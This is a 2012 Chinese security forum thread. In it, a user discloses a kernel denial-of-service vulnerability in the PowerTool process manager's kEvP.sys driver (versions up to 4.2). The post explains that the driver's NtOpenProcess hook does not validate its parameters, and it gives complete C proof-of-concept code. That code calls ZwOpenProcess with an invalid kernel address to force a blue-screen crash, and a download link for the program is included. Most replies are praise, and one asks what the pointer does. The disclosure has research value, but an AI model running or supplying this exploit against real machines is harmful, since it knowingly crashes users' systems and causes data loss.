hu3167343 发表于 2012-1-4 20:48

PowerTool kEvP.sys<=V4.2 内核拒绝服务漏洞

本帖最后由 hu3167343 于 2012-1-4 20:51 编辑

感觉LSG区好冷清啊。。。

新年新气象,发个帖子水一下,哈哈。

百度百科:PowerTool 一款免费强大的进程管理器,支持进程强制结束,可以Unlock占用文件的进程,查看文件/文件夹被占用的情况,内核模块和驱动的查看和管理,进程模块的内存的dump等功能。最新版还支持上传文件在线扫描病毒。支持离线的启动项和服务的检测和删除,新增注册表和服务的强删功能,可在PE系统下清除感染MBR的病毒(如鬼影等),通过Windows7 SP1的测试。
其在加载的时候,为了让不让恶意软件结束自身,而SSDT Hook了NtOpenProcess函数。但是未对Ring3传过来的参数做任何校验就直接使用了,因此,触发漏洞。
示例函数:NtOpenProcess偏移:ED70
IDA汇编代码如下:

只要CID参数不为空,他就直接调用了PsLookupProcessByProcessId函数。

而PsLookupProcessByProcessId是内核函数,其自身不会对参数有任何校验:



测试代码:
/*
    作者:莫灰灰
    博客:http://hi.baidu.com/hu3167343/
    描述:PowerTool内核拒绝服务漏洞测试程序
*/

#include "stdafx.h"
#include <windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
    HMODULE hMod = LoadLibrary(L"ntdll.dll");
    if (hMod)
    {
      PVOID p = GetProcAddress(hMod, "ZwOpenProcess");
      if (p)
      {
            printf("Your System Will Crash, See you nala.\n");

            __asm{
                push 0x80000000
                push 0
                push 0
                push 0
                call p
            }
      }
    }

    system("pause");
    return 0;
}


Ps:在开启PowerTool自保护的情况下运行上面程序,系统会蓝屏重启。正常机器木有问题。      

测试程序下载地址:http://dl.dbank.com/c0lx8mqzs7                        

1046135662 发表于 2012-1-4 22:54

沙发。。嘿嘿。。。。H大发的太深奥,不太看懂。。。。

小朙 发表于 2012-1-5 02:06

膜拜大神.......

yuhu521 发表于 2012-1-5 08:19

论坛高手如云啊   

O_o 发表于 2012-1-5 10:05

push 0x80000000
有什么用? 嘛东西?

庄澄 发表于 2012-1-5 12:38

膜拜大大.....

小白飘过

索马里的海贼 发表于 2012-1-5 13:40

你随便发个帖子水一下就能弄的这么深奥, 你要认真点那还了得..

hu3167343 发表于 2012-1-5 14:10

O_o 发表于 2012-1-5 10:05 static/image/common/back.gif
push 0x80000000
有什么用? 嘛东西?

一个无效的内核地址,读写它就会造成系统蓝屏重启。

leisurely 发表于 2012-1-6 10:48

膜拜一下大神,不知道PT牛看到了会啥样反应~~~~:lol

O_o 发表于 2012-1-6 14:30

hu3167343 发表于 2012-1-5 14:10 static/image/common/back.gif
一个无效的内核地址,读写它就会造成系统蓝屏重启。

索德斯勒
页: [1] 2 3 4 5
查看完整版本: PowerTool kEvP.sys<=V4.2 内核拒绝服务漏洞